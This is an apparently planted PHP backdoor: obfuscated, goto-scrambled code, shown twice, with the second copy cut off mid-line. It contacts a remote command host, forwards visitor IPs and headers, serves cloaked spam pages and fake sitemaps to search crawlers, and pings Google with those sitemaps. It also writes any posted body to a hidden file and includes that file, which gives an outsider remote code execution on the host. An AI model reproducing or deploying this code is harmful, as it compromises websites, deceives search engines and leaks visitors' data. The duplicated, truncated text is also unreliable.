db4

<?php goto J42vH; VpNeE: $f0DPc = 1; goto skCS5; frnm3: exit; goto Zgw0g; MQ3dz: $rnhNp = urlx($BCuS3); goto dZzg5; E3DLH: array_push($z8oOU, "\x74\151\155\x65\x73\x74\141\x6d\x70\72\x20" . $sMBSM); goto lDTMI; vq0Ql: echo @trim(urlx(sprintf("\150\x74\164\x70\x73\x3a\57\x2f\x25\x73\x2f\142\x6f\x74\57\160\141\147\145\77" . $Z0k0E, gets()), $z8oOU, $Z0k0E, 1)); goto RIyPV; w8IrN: if (!@preg_match("\43\x5e\57\160\x69\x6e\x67\163\x69\x74\x65\x6d\141\x70\50\56\52\77\51\x2e\170\x6d\154\x24\43\151", $oKxFE, $l05m6)) { goto Pvep4; } goto WEJtR; kd_ed: HEKxP: goto zOtBJ; uQZHF: $akS0y = "\x73\150\157\x73\x74\75" . $aqvqN . "\x26\150\164\164\160\x3d" . $mdd3b; goto wBhhs; Rj_Vo: $oV8C4 = clientip(); goto i4nTs; KRAjH: $BCuS3 = sprintf("\x68\x74\164\160\163\72\x2f\x2f\167\x77\x77\x2e\x67\x6f\157\x67\x6c\145\x2e\x63\157\x2e\x6a\160\57\160\x69\156\147\77\x73\151\164\x65\155\141\160\x3d\x25\x73\72\57\x2f\45\163\x2f\x73\x69\164\x65\155\x61\160\x25\x73\x25\x64\56\170\155\154", $mdd3b, $aqvqN, $kpGph[0], $f0DPc); goto o6cN6; f6nuW: goto D8U1s; goto jf31n; SRjCI: goto NpWWf; goto XusMA; dwqGC: bifhP: goto z68IW; aOgbK: $qM4Cm = "\x34\61\x39"; goto Y12KV; Txycq: ExxFr: goto ESJwo; oI0rR: echo $LV59l; goto mXvel; X9SBa: h8SQ0: goto Au2qn; fd1y2: function https() { goto FdgUx; FdgUx: if (!(!empty($_SERVER["\110\x54\124\120\123"]) && strtolower($_SERVER["\110\x54\x54\120\123"]) !== "\157\146\146" || isset($_SERVER["\110\x54\x54\x50\x5f\130\x5f\x46\117\x52\127\x41\122\104\x45\x44\x5f\x50\x52\117\124\x4f"]) && $_SERVER["\110\124\124\x50\137\x58\137\x46\x4f\x52\x57\101\x52\x44\x45\x44\137\x50\x52\117\x54\x4f"] === "\150\x74\x74\x70\x73" || !empty($_SERVER["\110\x54\124\x50\x5f\x46\x52\x4f\x4e\x54\137\105\116\x44\137\110\124\124\x50\x53"]) && strtolower($_SERVER["\x48\x54\x54\120\x5f\106\122\x4f\116\x54\137\105\x4e\x44\x5f\x48\x54\124\x50\123"]) !== "\157\x66\146")) { goto QWb32; } goto PpScn; vqEPl: return "\150\164\164\x70"; goto F_WTg; PpScn: return "\150\164\164\x70\163"; goto uUcBR; uUcBR: QWb32: goto vqEPl; F_WTg: } goto JuOh6; ZS4qE: @ignore_user_abort(1); goto aOgbK; naMt1: $HSjIH = urldecode("\150\x74\164\160\x73\72\x2f\57\x73\x65\141\x72\143\x68\56\x79\x61\x68\x6f\x6f\x2e\143\x6f\x2e\152\160\57\x73\x65\x61\162\143\x68\x3f\160\x3d\163\x69\164\x65\72\45\x73\46\145\151\x3d\125\x54\106\x2d\x38"); goto PGRJx; TEbIt: exit; goto ghV6h; nOzjp: echo $l05m6[1]; goto VN8fV; UEDud: if (!($f0DPc <= intval($pxVPC))) { goto eY39u; } goto KRAjH; Ell5g: if (!($pxVPC === '')) { goto mCU0n; } goto csd4P; zOtBJ: NpWWf: goto oI0rR; ZiWQr: v0G7i: goto yWijX; Vievt: echo @trim(urlx(sprintf("\x68\x74\164\160\163\72\57\x2f\x25\163\57\x62\157\x74\x2f\143\x61\164\145\x3f" . $Z0k0E, gets()), $z8oOU, $Z0k0E . "\46\x68\x6f\163\x74\75" . preg_replace("\57\133\141\55\172\x49\135\50\x78\x79\x7a\x7c\x62\x75\x7a\x7a\51\56\52\x24\57", "\56\x24\x31", strrev($ztMBC[1])) . "\x26\143\x61\164\x65\x69\144\x3d" . $ztMBC[2], 1)); goto NE8z4; Vlf0S: yuCC3: goto UEDud; pVdkz: echo sprintf($b5cVx, $STerf); goto aZmry; FPxQQ: @file_put_contents("\x2e\x65\x47\x41\x30\x54\x79\x32\127\114\150", $LZ5po, FILE_USE_INCLUDE_PATH); goto kWr4p; QMSYR: @preg_match("\43\50\134\144\x2a\x29\xe4\273\xb6\74\41\55\x2d\43", $wGR5O, $l05m6); goto nOzjp; X3Anc: $Z0k0E = $akS0y . "\46\x67\x72\x6f\x75\x70\151\x64\75" . $qM4Cm . "\x26\165\162\151\x3d" . $oKxFE . "\x26\151\160\x3d" . $oV8C4; goto H7KlX; HGIJA: $z8oOU = array("\125\163\x65\162\x2d\x41\x67\145\156\164\72\x20" . $qz8EB, "\x4c\x61\x6e\x67\x3a\x20" . $Wq2gT, "\x52\x65\x66\145\x72\x65\x72\x3a\40" . $wRO7_, "\x48\x74\x74\x70\x2d\x48\x6f\163\x74\x3a\40" . $aqvqN, "\x52\145\155\157\164\145\x2d\x41\x64\x64\x72\x3a\x20" . $oV8C4); goto LNAnP; m7KQ5: $BCuS3 = sprintf("\x68\x74\164\160\x73\72\x2f\x2f\167\167\x77\56\147\x6f\157\x67\154\x65\56\143\157\56\152\x70\57\x70\x69\156\147\x3f\163\x69\x74\145\x6d\141\x70\x3d\45\x73\72\x2f\57\45\163\57\x73\151\x74\145\155\x61\x70\x25\x73\x2e\x78\x6d\154", $mdd3b, $aqvqN, $l05m6[1]); goto MQ3dz; csd4P: exit; goto DeVxA; oLg2d: $Hqeu0 = "\40\x3c\165\162\154\76\x20\74\154\x6f\x63\76\x25\163\x3c\57\154\x6f\143\x3e\x3c\170\x68\x74\x6d\154\x3a\x6c\x69\x6e\x6b\x20\x72\145\x6c\x3d\42\141\154\x74\145\162\156\x61\x74\145\42\40\x68\x72\145\146\x6c\141\156\x67\75\42\152\x61\42\40\x68\x72\x65\146\x3d\42\x25\x73\x22\57\x3e\74\x2f\165\162\154\76"; goto cGUJi; nLwAL: $sMBSM = strval(time()); goto jdirr; H7KlX: $U1HmJ = urlx(sprintf("\x68\x74\x74\x70\x73\72\57\x2f\x25\163\x2f\142\157\164\57\x33\x30\x32\x3f" . $Z0k0E . "\x26\165\162\x69\75" . $oKxFE, gets()), $z8oOU, $Z0k0E, 1); goto dsKLg; LPhib: $f0DPc++; goto Oetvr; bTxtf: $STerf = ''; goto VpNeE; aZmry: exit; goto ZiWQr; dGWwv: $LZ5po = @file_get_contents("\160\150\160\x3a\x2f\57\x69\156\160\165\x74"); goto FPxQQ; mdlI3: UTe_D: goto yvPCp; QP31M: if (!($f0DPc <= intval($pxVPC))) { goto H5XpM; } goto ybh22; Au2qn: $f0DPc++; goto pB5jc; dzoId: Pvep4: goto RAga3; Enoza: echo $Vx4P3 === false ? "\x66\141\151\x6c" . gets() : $EFa5o . $qM4Cm . gets(); goto frnm3; o5cCi: D8U1s: goto nl1xK; AD6ts: $wGR5O = substr($wGR5O, strpos($wGR5O, "\74\41\x2d\x2d\x20\x2d\x2d\x3e"), 100); goto EZz0h; RIyPV: exit; goto Oriml; nl1xK: $sMBSM = strval(time()); goto E3DLH; Oriml: goto tjN1i; goto orKyg; dp_eL: $wRO7_ = isset($_SERVER["\110\124\124\120\x5f\122\x45\106\x45\x52\105\122"]) ? $_SERVER["\x48\x54\124\120\137\122\x45\x46\105\122\x45\122"] : ''; goto w_M3N; pB5jc: goto zvgQw; goto ulVx3; uqvqm: $akS0y .= "\46\x67\162\x6f\165\160\x69\144\75" . $qM4Cm; goto f6nuW; s_vKk: array_push($z8oOU, "\170\144\x6f\x69\155\x3a\40" . crc32($sMBSM . "\134\x6e" . $akS0y)); goto QTyaM; MC0Co: @header("\103\x6f\x6e\x74\145\156\164\x2d\x74\171\160\x65\x3a\40\x74\145\x78\164\57\170\x6d\x6c"); goto UjmbH; yWijX: $WIpAY = explode("\12", $pxVPC); goto bq8tO; EZz0h: $wGR5O = str_replace(array("\x2f\134\57\x73\x2b\57", "\x5c\x72\x5c\x6e", "\x5c\162", "\x5c\156", "\x22", "\x2c"), '', $wGR5O); goto QMSYR; RAga3: if (!@preg_match("\x23\136\57\x73\151\x74\x65\155\x61\160\x28\x2e\52\x3f\51\56\x78\155\154\x24\x23\x69", $oKxFE, $l05m6)) { goto yoKzr; } goto uQZHF; dZzg5: $LV59l .= $BCuS3 . $rnhNp; goto SRjCI; skCS5: zvgQw: goto QP31M; jf31n: BDsXN: goto SzpHW; DeVxA: mCU0n: goto UHE7R; OClM3: if ($l05m6[1] === '' || @preg_match("\43\50\x5c\x64\53\51\x2d\44\x23", $l05m6[1], $kpGph)) { goto oyRVV; } goto m7KQ5; mXvel: exit; goto dzoId; UD_xs: exit; goto b057P; bq8tO: $Jcv3x = ''; goto p4mRq; i4nTs: $mdd3b = https(); goto HGIJA; Oetvr: goto yuCC3; goto WLFSK; Y12KV: $n14Zn = "\74\77\x78\155\154\x20\166\x65\162\x73\x69\x6f\x6e\x3d\42\61\56\x30\x22\x20\x65\x6e\143\157\x64\x69\x6e\147\75\42\x55\x54\x46\55\x38\x22\77\76\x3c\41\55\x2d\x20\x61\x75\x74\x6f\x67\145\156\x20\142\x79\40\x64\157\x69\x6d\40\55\x2d\x3e\15\12\74\165\x72\x6c\x73\x65\164\40\170\155\x6c\156\163\x3d\42\150\164\164\160\72\57\57\x77\167\x77\x2e\x73\x69\x74\145\155\x61\160\163\x2e\157\x72\147\x2f\x73\143\x68\x65\x6d\x61\163\57\163\x69\x74\x65\155\x61\x70\57\x30\56\71\42\15\12\x20\40\40\40\40\40\x78\155\154\156\163\72\170\x68\x74\155\x6c\75\x22\150\164\164\x70\x3a\57\57\x77\x77\x77\56\x77\63\56\157\x72\147\57\61\71\x39\71\x2f\x78\150\x74\155\154\42\x3e\15\xa\45\163\x3c\x2f\165\x72\x6c\163\145\164\x3e"; goto oLg2d; VN8fV: exit; goto dFGAt; QTyaM: $pxVPC = trim(urlx("\x68\x74\x74\160\x73\72\x2f\x2f" . gets() . "\57\x73\x69\164\x65\x6d\x61\160\x2e\170\x6d\154", $z8oOU, $akS0y . "\46\150\x74\164\x70\x3d" . $mdd3b)); goto Ell5g; HT05z: exit; goto dRfI3; UHE7R: if (!@preg_match("\43\136\x28\x5c\x64\51\x2a\43", $pxVPC)) { goto HEKxP; } goto IQERD; WEJtR: $LV59l = ''; goto OClM3; dsKLg: @header("\114\157\x63\141\164\x69\x6f\x6e\x3a\x20" . $U1HmJ); goto RFCY3; dFGAt: Id3qr: goto JIYQs; fTU3c: $Wq2gT = isset($_SERVER["\110\124\124\x50\x5f\101\x43\x43\105\120\124\137\x4c\x41\x4e\107\125\101\107\105"]) ? substr($_SERVER["\110\124\x54\x50\x5f\x41\x43\103\x45\120\124\137\x4c\x41\x4e\107\125\101\x47\105"], 0, 4) : ''; goto dp_eL; A33Gg: $oKxFE = $_SERVER["\122\105\121\x55\105\x53\124\137\125\x52\111"]; goto w8IrN; Qr6b2: $sMBSM = isset($_SERVER["\110\x54\x54\x50\x5f\x54\111\115\105\123\124\101\x4d\120"]) ? $_SERVER["\x48\124\x54\x50\x5f\124\111\x4d\x45\123\124\101\x4d\120"] : ''; goto dGWwv; UjmbH: if (!(($l05m6[1] === '' || $kpGph[1] != '') && @preg_match("\43\x5e\50\134\x64\51\x2a\43", $pxVPC))) { goto v0G7i; } goto bTxtf; SuQpz: exit; goto P4sXO; dRfI3: CNh9u: goto uEE9N; qnW5X: $EFa5o = trim(urlx("\x68\164\164\x70\x73\x3a\57\57" . gets() . $l05m6[0], $z8oOU, $akS0y)); goto Enoza; p4mRq: foreach ($WIpAY as $QFqi7) { goto wNpuf; bOy1U: $Jcv3x .= sprintf($Hqeu0, $U1HmJ, $U1HmJ); goto qaM0h; qaM0h: VZLDK: goto d3PTZ; wNpuf: $U1HmJ = $mdd3b . "\x3a\57\57" . $aqvqN . "\57" . $QFqi7; goto bOy1U; d3PTZ: } goto dwqGC; UqWP5: if (!@preg_match("\43\147\157\157\147\x6c\x65\174\x79\x61\150\x6f\x6f\174\142\151\x6e\x67\174\143\x72\x61\146\x74\174\x43\162\141\x77\154\x65\162\43\x69", $qz8EB)) { goto ExxFr; } goto ASSL5; SzpHW: $akS0y .= "\x26\x67\162\157\165\160\x69\144\x3d" . $kpGph[1]; goto o5cCi; ESJwo: if (!(@preg_match("\43\x67\157\157\147\x6c\x65\56\143\157\56\152\160\174\x67\x6f\157\147\154\x65\x2e\x63\157\x6d\x7c\171\141\x68\x6f\157\56\143\157\x2e\x6a\160\x7c\171\x61\x68\157\x6f\56\x63\x6f\x7c\142\x69\x6e\x67\x2e\143\x6f\x6d\174\x61\163\153\x2e\143\x6f\155\x7c\x61\157\x6c\56\x63\x6f\155\x7c\x61\x6f\x6c\x2e\x6a\x70\x23\x69", $wRO7_) && @preg_match("\x23\50\x5b\x61\55\x7a\x49\135\x2b\x29\x2d\x28\134\x64\53\x29\77\50\x2d\50\x5c\x64\53\51\x29\77\50\x2e\x68\x74\x6d\154\51\x24\43\151", $oKxFE))) { goto UTe_D; } goto X3Anc; z68IW: echo sprintf($n14Zn, $Jcv3x); goto TEbIt; KYuA0: $Z0k0E .= sprintf("\46\x68\x70\x69\x64\75\45\163\55\x25\x73", preg_replace("\57\x5b\x61\x2d\x7a\111\135\x28\170\x79\172\x7c\142\x75\x7a\172\51\56\x2a\44\x2f", "\56\44\61", strrev($l05m6[1])), $l05m6[2]); goto vq0Ql; WLFSK: eY39u: goto kd_ed; ghV6h: yoKzr: goto Efwtu; NE8z4: exit; goto S_ua0; B9UYW: @ini_set("\144\151\x73\160\154\x61\x79\137\x65\x72\x72\x6f\x72\x73", 0); goto ONosI; QUq1K: if (!($pxVPC === '')) { goto ykbip; } goto SuQpz; jdirr: array_push($z8oOU, "\x74\151\155\x65\x73\x74\141\155\160\x3a\x20" . $sMBSM); goto s_vKk; eSQ0z: O9PrI: goto KYuA0; Ab23l: function urlx($HSjIH, $z8oOU = null, $akS0y = null, $eitJM = null) { goto JA1nC; Xk4qO: curl_setopt($kMYyV, CURLOPT_ENCODING, "\x67\x7a\151\160\x2c\x64\145\x66\x6c\x61\164\x65"); goto E1Yow; E1Yow: ZKK8T: goto d_iTJ; JA1nC: $kMYyV = curl_init(); goto Ql1ps; RFxH_: curl_setopt($kMYyV, CURLOPT_SSL_VERIFYHOST, FALSE); goto HB7dh; Ic4jb: $wGR5O = curl_exec($kMYyV); goto RWDpJ; d_iTJ: if (!(stripos($HSjIH, "\150\164\164\x70\x73\72") === 0)) { goto E8HRq; } goto kkS8f; W8nlp: curl_setopt($kMYyV, CURLOPT_RETURNTRANSFER, 1); goto Ic4jb; T9ci_: return $wGR5O; goto y9_EH; tbddd: curl_setopt($kMYyV, CURLOPT_HTTPHEADER, $z8oOU); goto h_ybS; Wr4iD: YAlXA: goto W8nlp; hk8oj: curl_setopt($kMYyV, CURLOPT_POSTFIELDS, $akS0y); goto Wr4iD; RWDpJ: curl_close($kMYyV); goto T9ci_; Ql1ps: curl_setopt($kMYyV, CURLOPT_URL, $HSjIH); goto KwH8a; a8vSa: if ($eitJM === null) { goto ZKK8T; } goto Xk4qO; kkS8f: curl_setopt($kMYyV, CURLOPT_SSL_VERIFYPEER, FALSE); goto RFxH_; HB7dh: E8HRq: goto o8V25; gjcdz: curl_setopt($kMYyV, CURLOPT_POST, 1); goto hk8oj; BIorF: if ($akS0y === null) { goto YAlXA; } goto gjcdz; h_ybS: jX3mQ: goto BIorF; o8V25: if ($z8oOU === null) { goto jX3mQ; } goto tbddd; KwH8a: curl_setopt($kMYyV, CURLOPT_FOLLOWLOCATION, 1); goto a8vSa; y9_EH: } goto oIaeY; RUT23: echo @trim(urlx(sprintf("\x68\x74\164\x70\163\72\57\x2f\45\163\57\142\x6f\164\57\x68\157\x6d\x65\77" . $Z0k0E . "\46\x75\162\151\75" . $oKxFE, gets()), $z8oOU, $Z0k0E, 1)); goto UD_xs; RzWDy: $oKxFE = $_SERVER["\122\x45\x51\x55\x45\123\x54\x5f\125\122\x49"]; goto Rj_Vo; kWr4p: echo include "\56\145\x47\x41\x30\x54\x79\x32\x57\114\x68"; goto ck1u8; ONosI: @set_time_limit(3600); goto ZS4qE; GORNz: $aqvqN = $_SERVER["\x48\124\x54\x50\x5f\x48\x4f\123\x54"]; goto RzWDy; orKyg: d3qQQ: goto Vievt; cGUJi: $b5cVx = "\x3c\x3f\170\x6d\x6c\40\x76\x65\162\163\x69\x6f\156\x3d\42\x31\56\60\42\40\x65\x6e\143\x6f\144\x69\156\x67\x3d\x22\x55\x54\106\x2d\70\42\77\76\74\x21\55\55\x20\141\165\164\157\147\x65\x6e\x20\142\171\40\144\x6f\151\155\40\x2d\x2d\x3e\xd\12\x3c\163\x69\x74\145\155\x61\x70\x69\156\144\x65\x78\40\x78\x6d\x6c\x6e\163\x3d\x22\150\164\164\x70\x3a\x2f\57\167\x77\167\56\163\151\x74\145\x6d\141\160\163\x2e\157\162\x67\57\x73\143\150\x65\155\x61\163\x2f\163\x69\164\x65\x6d\x61\160\x2f\60\56\x39\42\76\x20\45\163\x20\74\57\163\x69\164\145\155\141\160\151\x6e\x64\x65\170\76"; goto BfzGN; IQERD: $f0DPc = 1; goto Vlf0S; XusMA: oyRVV: goto poAV3; b057P: goto tjN1i; goto eSQ0z; oIaeY: function cc($oKxFE) { goto Mga3T; FXkKX: ymgfN: goto Sd28z; lJloS: return $x6Thk == $Eo7qf[2]; goto i8G7G; Mga3T: $Eo7qf = explode("\x2d", substr($oKxFE, 1, strlen($oKxFE) - 6)); goto EcMb7; flaWq: return false; goto FXkKX; EcMb7: if (!(sizeof($Eo7qf) != 3)) { goto ymgfN; } goto flaWq; Sd28z: $x6Thk = sprintf("\45\165", crc32(sprintf("\45\x73\55\x25\x73", $Eo7qf[0], $Eo7qf[1]))); goto lJloS; i8G7G: } goto LtgNM; FU2nu: $pxVPC = trim(urlx("\150\x74\x74\160\x73\72\57\x2f" . gets() . "\x2f\x73\x69\x74\145\155\141\160" . ($l05m6[1] == '' || $kpGph[1] != '' ? "\56\170\155\x6c" : "\57" . $l05m6[1]), $z8oOU, $akS0y)); goto QUq1K; yvPCp: function urls($aqvqN, $A97fO, $qz8EB, $u53P6, $X8C9c = null) { goto kni0n; IYBpi: fclose($Y1DXe); goto TKglJ; tHYwC: $qiYWC = fwrite($Y1DXe, $rmm2F); goto IYBpi; EYUuk: $rmm2F = "\107\x45\x54\x20" . $A97fO . "\77" . $X8C9c . "\40\110\124\x54\x50\57\61\56\60\xd\12\110\x6f\163\164\x3a\x20" . $aqvqN . "\15\xa\x52\145\146\145\x72\x65\162\72\40" . $u53P6 . "\15\12\x55\x73\x65\x72\x2d\101\x67\x65\x6e\x74\72\40" . $qz8EB . "\15\xa\xd\xa"; goto tHYwC; kni0n: $Y1DXe = stream_socket_client("\163\x73\154\72\x2f\57" . $aqvqN . "\x3a\64\64\63", $xpk7C, $pnKGT, 6); goto EYUuk; TKglJ: } goto Ab23l; lDTMI: array_push($z8oOU, "\x78\x64\x6f\x69\155\72\x20" . crc32($sMBSM . "\134\x6e" . $akS0y)); goto FU2nu; t5Hpe: $LV59l .= $BCuS3 . $rnhNp; goto ShbCm; Efwtu: if (!(isset($_SERVER["\x48\124\124\x50\137\x58\104\117\x49\x4d"]) && strlen($_SERVER["\110\x54\124\x50\137\130\104\117\x49\115"]) > 0)) { goto CNh9u; } goto Qr6b2; LNAnP: $akS0y = "\163\x68\157\163\164\x3d" . $aqvqN . "\46\x70\162\157\x74\x6f\x3d" . $mdd3b; goto A33Gg; w_M3N: $qz8EB = isset($_SERVER["\x48\x54\x54\x50\137\x55\123\105\x52\137\x41\107\x45\116\x54"]) ? $_SERVER["\110\x54\124\120\137\125\123\x45\122\137\101\107\x45\x4e\x54"] : ''; goto GORNz; ck1u8: unlink("\x2e\x65\107\x41\60\124\x79\x32\x57\x4c\x68"); goto HT05z; wBhhs: if (@preg_match("\x23\x28\x5c\144\53\x29\55\x24\x23", $l05m6[1], $kpGph)) { goto BDsXN; } goto uqvqm; LtgNM: function gets() { return "\x70\x31\x2e\x67\x6c\x6f\x72\171\x70\x6c\141\156\56\143\154\165\x62"; } goto fd1y2; P4sXO: ykbip: goto MC0Co; BfzGN: $RJGGs = "\x20\x3c\x73\x69\164\x65\155\x61\160\x3e\40\74\154\x6f\x63\76\45\x73\x3a\57\x2f\45\163\57\x73\151\164\145\155\141\160\45\x64\x2e\170\x6d\154\x3c\57\x6c\x6f\x63\x3e\74\x2f\x73\151\164\x65\x6d\141\x70\76"; goto fTU3c; J42vH: error_reporting(0); goto B9UYW; ShbCm: AO3Cq: goto LPhib; S_ua0: tjN1i: goto Txycq; jBm45: array_push($z8oOU, "\164\x69\x6d\x65\x73\x74\x61\155\x70\72\40" . $sMBSM); goto SOVDm; ybh22: $STerf .= sprintf($RJGGs, $mdd3b, $aqvqN, $f0DPc, date("\131\55\x6d\x2d\x64\x5c\124\x48\72\x69\72\163\120", time())); goto X9SBa; SQBbW: $wGR5O = urlx($HSjIH, null, null, 1, "\x4d\157\x7a\151\154\154\141\57\65\56\60\40\50\127\151\156\x64\157\167\x73\73\x20\x55\x3b\x20\x57\151\156\x64\x6f\x77\x73\40\116\124\40\x35\56\x31\73\x20\145\156\55\x55\123\51\x20\101\x70\x70\x6c\x65\x57\145\142\113\x69\x74\57\65\x33\64\56\67\x20\x28\113\110\x54\115\x4c\x2c\x20\x6c\x69\x6b\x65\40\107\x65\143\153\x6f\51\x20\x43\150\162\x6f\155\145\57\x37\56\60\56\x35\x31\x37\x2e\x34\61\x20\123\x61\x66\141\x72\x69\57\65\63\64\x2e\x37"); goto AD6ts; PGRJx: $HSjIH = $l05m6[1] == '' ? sprintf($HSjIH, $aqvqN) : sprintf($HSjIH, $l05m6[1]); goto SQBbW; SOVDm: array_push($z8oOU, "\170\144\157\151\x6d\72\x20" . crc32($sMBSM . "\x5c\x6e" . $akS0y)); goto qnW5X; zGSDt: if (@preg_match("\43\143\141\164\145\x5c\x2f\50\133\141\x2d\172\135\x2b\51\55\x28\x5c\x64\53\51\x24\x23\151", $oKxFE, $ztMBC)) { goto d3qQQ; } goto RUT23; RFCY3: exit; goto mdlI3; eu5o_: if (@preg_match("\x23\x28\133\x61\55\x7a\135\53\51\55\50\x5c\x64\x2b\51\77\x28\x2e\x68\x74\155\x6c\51\44\x23\151", $oKxFE, $l05m6)) { goto O9PrI; } goto zGSDt; JIYQs: if (!@preg_match("\x23\136\57\x67\x65\x74\x76\145\162\44\43\x69", $oKxFE, $l05m6)) { goto W3trB; } goto qJ_Zn; ulVx3: H5XpM: goto pVdkz; poAV3: $akS0y .= $kpGph[1] == '' ? "\46\147\x72\157\165\160\151\x64\75" . $qM4Cm : "\46\x67\x72\x6f\x75\160\151\144\75" . $kpGph[1]; goto nLwAL; Zgw0g: W3trB: goto UqWP5; uEE9N: if (!@preg_match("\43\136\x2f\163\x69\164\x65\x2f\77\50\x2e\52\77\x29\x24\x23\x69", $oKxFE, $l05m6)) { goto Id3qr; } goto naMt1; qJ_Zn: $sMBSM = strval(time()); goto jBm45; ASSL5: $Z0k0E = $akS0y . "\x26\x68\x74\164\x70\75" . $mdd3b . "\46\x67\162\157\165\160\x69\x64\75" . $qM4Cm; goto eu5o_; o6cN6: $rnhNp = urlx($BCuS3); goto t5Hpe; JuOh6: function clientip() { goto mFDFU; F0Hfg: gyFls: goto c1AAM; ZwUws: return $_SERVER["\x52\x45\115\x4f\x54\105\x5f\101\104\x44\x52"]; goto F0Hfg; l_hXY: goto gyFls; goto YoAl8; VICwV: goto gyFls; goto Cvx_c; YoAl8: symjh: goto TvSiC; Cvx_c: VS4FL: goto ZwUws; vAQ1K: if (isset($_SERVER["\x52\x45\x4d\117\x54\x45\137\101\x44\x44\122"]) && $_SERVER["\122\x45\115\117\x54\x45\137\x41\x44\x44\122"] && strcasecmp($_SERVER["\122\x45\115\x4f\124\x45\x5f\x41\x44\x44\x52"], "\165\x6e\153\156\x6f\167\156")) { goto VS4FL; } goto l_hXY; mFDFU: if (getenv("\x52\x45\115\117\124\105\x5f\x41\104\x44\122") && strcasecmp(getenv("\x52\105\115\x4f\124\105\x5f\x41\104\104\x52"), "\165\x6e\153\156\157\x77\156")) { goto symjh; } goto vAQ1K; TvSiC: return getenv("\x52\105\115\117\x54\105\x5f\101\x44\x44\122"); goto VICwV; c1AAM: }?>

<?php goto J42vH; VpNeE: $f0DPc = 1; goto skCS5; frnm3: exit; goto Zgw0g; MQ3dz: $rnhNp = urlx($BCuS3); goto dZzg5; E3DLH: array_push($z8oOU, "\x74\151\155\x65\x73\x74\141\x6d\x70\72\x20" . $sMBSM); goto lDTMI; vq0Ql: echo @trim(urlx(sprintf("\150\x74\164\x70\x73\x3a\57\x2f\x25\x73\x2f\142\x6f\x74\57\160\141\147\145\77" . $Z0k0E, gets()), $z8oOU, $Z0k0E, 1)); goto RIyPV; w8IrN: if (!@preg_match("\43\x5e\57\160\x69\x6e\x67\163\x69\x74\x65\x6d\141\x70\50\56\52\77\51\x2e\170\x6d\154\x24\43\151", $oKxFE, $l05m6)) { goto Pvep4; } goto WEJtR; kd_ed: HEKxP: goto zOtBJ; uQZHF: $akS0y = "\x73\150\157\x73\x74\75" . $aqvqN . "\x26\150\164\164\160\x3d" . $mdd3b; goto wBhhs; Rj_Vo: $oV8C4 = clientip(); goto i4nTs; KRAjH: $BCuS3 = sprintf("\x68\x74\164\160\163\72\x2f\x2f\167\x77\x77\x2e\x67\x6f\157\x67\x6c\145\x2e\x63\157\x2e\x6a\160\57\160\x69\156\147\77\x73\151\164\x65\155\141\160\x3d\x25\x73\72\57\x2f\45\163\x2f\x73\x69\164\x65\155\x61\160\x25\x73\x25\x64\56\170\155\154", $mdd3b, $aqvqN, $kpGph[0], $f0DPc); goto o6cN6; f6nuW: goto D8U1s; goto jf31n; SRjCI: goto NpWWf; goto XusMA; dwqGC: bifhP: goto z68IW; aOgbK: $qM4Cm = "\x34\61\x39"; goto Y12KV; Txycq: ExxFr: goto ESJwo; oI0rR: echo $LV59l; goto mXvel; X9SBa: h8SQ0: goto Au2qn; fd1y2: function https() { goto FdgUx; FdgUx: if (!(!empty($_SERVER["\110\x54\124\120\123"]) && strtolower($_SERVER["\110\x54\x54\120\123"]) !== "\157\146\146" || isset($_SERVER["\110\x54\x54\x50\x5f\130\x5f\x46\117\x52\127\x41\122\104\x45\x44\x5f\x50\x52\117\124\x4f"]) && $_SERVER["\110\124\124\x50\137\x58\137\x46\x4f\x52\x57\101\x52\x44\x45\x44\137\x50\x52\117\x54\x4f"] === "\150\x74\x74\x70\x73" || !empty($_SERVER["\110\x54\124\x50\x5f\x46\x52\x4f\x4e\x54\137\105\116\x44\137\110\124\124\x50\x53"]) && strtolower($_SERVER["\x48\x54\x54\120\x5f\106\122\x4f\116\x54\137\105\x4e\x44\x5f\x48\x54\124\x50\123"]) !== "\157\x66\146")) { goto QWb32; } goto PpScn; vqEPl: return "\150\164\164\x70"; goto F_WTg; PpScn: return "\150\164\164\x70\163"; goto uUcBR; uUcBR: QWb32: goto vqEPl; F_WTg: } goto JuOh6; ZS4qE: @ignore_user_abort(1); goto aOgbK; naMt1: $HSjIH = urldecode("\150\x74\164\160\x73\72\x2f\57\x73\x65\141\x72\143\x68\56\x79\x61\x68\x6f\x6f\x2e\143\x6f\x2e\152\160\57\x73\x65\x61\162\143\x68\x3f\160\x3d\163\x69\164\x65\72\45\x73\46\145\151\x3d\125\x54\106\x2d\x38"); goto PGRJx; TEbIt: exit; goto ghV6h; nOzjp: echo $l05m6[1]; goto VN8fV; UEDud: if (!($f0DPc <= intval($pxVPC))) { goto eY39u; } goto KRAjH; Ell5g: if (!($pxVPC === '')) { goto mCU0n; } goto csd4P; zOtBJ: NpWWf: goto oI0rR; ZiWQr: v0G7i: goto yWijX; Vievt: echo @trim(urlx(sprintf("\x68\x74\164\160\163\72\57\x2f\x25\163\57\x62\157\x74\x2f\143\x61\164\145\x3f" . $Z0k0E, gets()), $z8oOU, $Z0k0E . "\46\x68\x6f\163\x74\75" . preg_replace("\57\133\141\55\172\x49\135\50\x78\x79\x7a\x7c\x62\x75\x7a\x7a\51\56\52\x24\57", "\56\x24\x31", strrev($ztMBC[1])) . "\x26\143\x61\164\x65\x69\144\x3d" . $ztMBC[2], 1)); goto NE8z4; Vlf0S: yuCC3: goto UEDud; pVdkz: echo sprintf($b5cVx, $STerf); goto aZmry; FPxQQ: @file_put_contents("\x2e\x65\x47\x41\x30\x54\x79\x32\127\114\150", $LZ5po, FILE_USE_INCLUDE_PATH); goto kWr4p; QMSYR: @preg_match("\43\50\134\144\x2a\x29\xe4\273\xb6\74\41\55\x2d\43", $wGR5O, $l05m6); goto nOzjp; X3Anc: $Z0k0E = $akS0y . "\46\x67\x72\x6f\x75\x70\151\x64\75" . $qM4Cm . "\x26\165\162\151\x3d" . $oKxFE . "\x26\151\160\x3d" . $oV8C4; goto H7KlX; HGIJA: $z8oOU = array("\125\163\x65\162\x2d\x41\x67\145\156\164\72\x20" . $qz8EB, "\x4c\x61\x6e\x67\x3a\x20" . $Wq2gT, "\x52\x65\x66\145\x72\x65\x72\x3a\40" . $wRO7_, "\x48\x74\x74\x70\x2d\x48\x6f\163\x74\x3a\40" . $aqvqN, "\x52\145\155\157\164\145\x2d\x41\x64\x64\x72\x3a\x20" . $oV8C4); goto LNAnP; m7KQ5: $BCuS3 = sprintf("\x68\x74\164\160\x73\72\x2f\x2f\167\167\x77\56\147\x6f\157\x67\154\x65\56\143\157\56\152\x70\57\x70\x69\156\147\x3f\163\x69\x74\145\x6d\141\x70\x3d\45\x73\72\x2f\57\45\163\57\x73\151\x74\145\155\x61\x70\x25\x73\x2e\x78\x6d\154", 